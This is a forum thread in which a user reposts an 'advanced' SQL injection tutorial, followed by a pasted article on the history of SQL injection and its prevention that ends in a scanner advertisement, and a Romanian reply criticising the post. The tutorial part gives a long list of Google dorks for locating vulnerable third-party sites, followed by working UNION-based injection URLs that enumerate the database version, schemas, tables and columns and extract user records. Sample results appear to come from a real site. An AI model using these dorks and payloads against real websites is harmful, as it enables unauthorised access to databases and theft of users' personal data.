Jump to content
Aerosol

SQL Injection Advanced Tutorial

Recommended Posts

Posted

Credit's to: CookiesOwner

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.

Dorks:

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

and you can also write your own.

How to check if a webpage is vulnerable to this attack???

Once you execute the dorks and get the preferred search results. Say for example

http://www.abcd.com/index.php?catid=1

Add a ' (apos) at the end of the URL. Such that the URL looks like

http://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:

  • Warning: mysql_fetch_array():
  • Warning: mysql_fetch_assoc():
  • Warning: mysql_numrows():
  • Warning: mysql_num_rows():
  • Warning: mysql_result():
  • Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.

eg.

http://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.

Say from the above step, you got that the table has 6 columns.

eg.

http://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version

We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg.

http://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Expolit

To get list of databases:

http://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.

Result: information_schema,vrk_mlm

To know the current database in use:

http://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--

Result: vrk_mlm

To get the current user:

http://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--

Result: vrk_4mlm@localhost

To get the tables:

http://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--

Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--

Result:

 admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName?,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by?_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Extract information:

union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refe?red_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users-

-

====================================================

14 Years of SQL Injection and still the most dangerous vulnerability

Ever since the advent of the computer, there have always been people trying to hack them. William D. Mathews of MIT discovered a flaw in the Multics CTSS password file on the IBM 7094 in 1965; John T. Draper ("Captain Crunch") discovered a cereal toy whistle could provide free phone calls around 1971; The Chaos Computer Club, the Cult of the Dead Cow, 2600, the infamous Kevin Mitnick, even computing godfather Alan Turing and his World War II German Enigma-cipher busting Bombe, all and more have participated in hacking computers for as long as computers have existed.

Through the 1980s and 1990s, the world began to see the advent of the personal computer, the internet, and the world wide web. Telephone lines in millions of homes began screaming with the ear-piercing tones of dial up connections. AOL, CompuServe, Juno, and more began providing home users with information portals and gateways to the web. The information age was born; as was the age of information security (and, indeed, insecurity).

As websites began to form by the thousands per day, so did the technology behind them. Websites went from merely being static pages of text and images to dynamic web applications of custom-tailored content. HTML, CSS, and JavaScript grew into bigger and better systems for stitching content together in the browser, and the browser itself evolved, through Internet Explorer, Netscape, Firefox, Chrome, and more. PHP and Perl CGI, among others, became the languages of choice for backend website scripting to real-time generate the HTML and other elements browsers would render. Database systems came and went, but MySQL became the most popular. In fact, a lot of things came and went -- Dot-Com bubble, anyone? -- but one thing always remained: web application security.

The (In)Security Watchmen - OWASP and Others

In December 2001, the Open Web Application Security Project (OWASP) was established as an international not-for-profit organization aimed at web security discussions and enhancements. For practically their entire existence, OWASP has kept track of perhaps every type of hack that could be done. Everything from social engineering, poor authentication systems, cross-site scripting, SQL injection, general software vulnerabilities, and more, OWASP kept track and encouraged the web community to continually secure everything as best as possible. As with the growth of the world wide web, things came and went, and with the efforts of OWASP and its participants the hacks that were popular were no exception. However, of all types of security intrusions, almost the only one that constantly and consistently remained in the top ten were injections (usually exclusively database SQL).

An injection is defined by OWASP as "when untrusted data is sent to an interpreter as part of a command or query." Typically, this grants an attacker unauthorized access to data within a database through a web application, or grants them the ability to insert new or alter pre-existing data. This is done because, quite simply, a web application uses the user input to directly insert it into a database query without any type of sanitization.

Immediately, one thinks, Why would anyone allow unsanitized data to enter a database query? Indeed, if we had an answer for this question we would probably be receiving billion-dollar U.S. Department of Defense contracts right now.

Interlude: What is a SQL Injection?

We want to pause before we continue further and ensure you, our treasured reader, understands what an SQL injection is and the technical aspect behind it. For purposes of brevity and focus, we will assume from here on that you understand the concept of a SQL injection, how it works, and basic ways to prevent it.

If not, first read our article What you need to know about SQL Injection and keep an eye out for our future publications, as we continue to look into this constant security problem. It is important that you understand the technical side behind a SQL injection, as it helps to highlight the simplicity and, indeed, the absurdity of the repetition of this security vulnerability.

Resume Play: A History Lesson about SQL Injection

For as long as relational databases have existed, so too have SQL injection attack vectors. Since 1999, the Common Vulnerabilities and Exposures dictionary has existed to keep track of and alert consumers and developers alike of known software vulnerabilities. Since 2003, SQL injections have remained in the top 10 list of CVE vulnerabilities; 3,260 vulnerabilities between 2003 and 2011.

In 2012 a representative of Barclaycard claimed that 97% of data breaches are a result of SQL injections. In late 2011 and through early 2012, i.e. in only one month, over one million web pages were affected by the Lilupophilupop SQL injection attack. The year of 2008 saw an incredible economic disruption as a result of SQL injections. Even the official United Nations website in 2010 fell victim to a SQL injection attack.

All these stats (excluding, of course, the CVE count) are all within the past three years. Just three years. It is indeed absolutely no surprise that in 2011 the United States Department of Homeland Security, Mitre, and SANS institute all named SQL injections as the number one most dangerous security vulnerability. So why, after over 14 years, it is still a number one seemingly unfixable vulnerability?

Low Hanging Fruit Vulnerabilities, Or: By Blunder We Learn ... Or Not

In a recent study at Goldsmiths University of London, a group of researchers came to the conclusion that our brains are hardwired such that we as humans just do not (easily) learn from our mistakes. Perhaps it is simply that developers see and are even fully cognizant of the faults in developing software, but they are mentally incapable of progressing past those recurring gaffes. Perhaps they are not seeing the proverbial forest for the trees or, specifically, they understand the technical details but not the big picture of applying that knowledge.

As far as low hanging fruit goes, SQL injections present themselves as the most likely guarantee an attacker has of easily gaining illegitimate access to a website or other SQL-backed system, simply based on the probability of success, if 14 years of historical statistics are to be believed. This is primarily because of the most obvious problem: We are still using relational SQL databases.

Were we to use NoSQL database systems such as MongoDB or CouchDB, none of these attacks would ever happen, or at least nowhere near as easily and commonplace as SQL injections. And that is not to say that NoSQL is completely and one hundred percent safe, but rather that it would immediately solve the problem of SQL injections.

But that is not the real cause, nor even a reasonably viable solution. The real reason lies in the fact that software and web application developers do indeed seem to suffer from the University of London's conclusion, that humans cannot easily learn and adapt once they (or, by observation, others) mess up. It also probably does not help that the easiest and most common information for integrating relational SQL databases with common languages, such as PHP, almost never provide the proper and most safe methods of integration, so perhaps some of the blame also lies in a near-complete lack of valuable educational material. Combine these with over-worked developers granted unreasonable deadlines or requirements, and it makes for a wicked trifecta of low-hanging fruit vulnerabilities.

Minimal Effort, Easy Reward; Exploiting a “Low Hanging Fruit” Vulnerability

By comparison, a Distributed Denial of Service attack (DDoS) requires careful coordination and leveraging hundreds to tens of thousands of compromised systems to carry out such an attack. Whereas an SQL injection attack can be accomplished on a single computer with patience, trial and error, some ingenuity, and a little luck. It really does not take much skill at all to complete a SQL injection attack. In fact, a script kiddie can do so with absolutely no understanding of SQL injections whatsoever; by using any of the free available tools. They truly are that easy.

Perhaps some SQL injection attacks result from lazy development or malpractices, but in reality, there are three big commonly repeated mistakes that allow SQL injections to occur. They include the following:

Ignorance of the Least Privilege principle

Quite simple, yet frequently ignored, this principle simply states that a user, process, or other entity shall have only the least required privileges necessary to complete its tasks. For example, a log database table does not need DELETE or UPDATE privileges, and yet database administrators commonly grant all privileges possible to a service rather than tailor-fit the permissions to exactly only what is needed.

Conglomeration of Sensitive Data

There is no reason to keep credit card data in the same database as your news articles. There is also no reason to store passwords in plaintext or with poor hashing techniques. If you segment and distribute your data, then your database and its contents becomes a far less valuable target. Would you keep all your belongings in your home, or would you keep some in your safe deposit box?

Blindly Trusting Unsanitized User Input

This is why SQL injections happen. When user input is not sanitized, an attacker has the ability to complete a SQL injection attack, amplified by the aforementioned two points. Once an attacker gains access via unsanitized input, availability of sensitive data and unlimited privileges give them everything they could ever want to wreak havoc.

That is it. Just those three simple problems that have caused over one million web pages in under a month to become compromised, including the United Nations' and several other high profile websites, have consistently kept SQL injections in OWASP's top ten list. It is almost absurd, with how simple these three problems are, that SQL injections keep happening. So what can developers do?

Later in our series of SQL injection articles, we will go over more technical details of a SQL injection attack and how to protect against them. But for now, the most important point we can stress is that developers and systems administrators do not fall prey to these three problems we have mentioned. Developers need to ensure they implement the least privilege necessary for a web application's needs, segregate or encrypt data such that a database becomes a far less valuable target, and, most importantly, always sanitize user input! These are incredibly simple techniques that, if applied as consistently as SQL injections rank in the top ten list, can potentially eliminate SQL injections from that top ten list for the first time since it was created.

Automatically Detect SQL Injection Vulnerabilities in your Web Applications

One easy and quick way to check if your websites and web applications are vulnerable to SQL Injection is by scanning them with an automated web application security scanner such as Netsparker.

Netsparker is a false positive free web application security scanner that can be used to identify web application vulnerabilities such as SQL Injection and Cross-site scripting in your web applications and websites. Download the trial version of Netsparker to find out if your websites are vulnerable or check out the Netsparker product page for more information.

  • Active Members
Posted

Fii atent. @Aerosol. Ai intentii bune, insa in momentul in care faci un tutorial incearca in primul rand sa il intelegi.

1. Fa-l in romana. (nu e obligatoriu dar pentru multi e mai usor de urmarit - avand in vedere ca proportia de analfabeti de pe forum e in crestere)

2. Testeaza-l si invata-i pe altii din propriile tale greseli. (putina vorbaraie + mult cod + explicatii = tutorial reusit)

3. Fa-l astfel incat sa il intelegi tu.

4. Gandeste-te daca tutorialul tau chiar va ajuta pe cineva sau daca intereseaza pe cineva.

5. Ai grija ca titlul sa fie in concordanta cu tema.

Peace

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...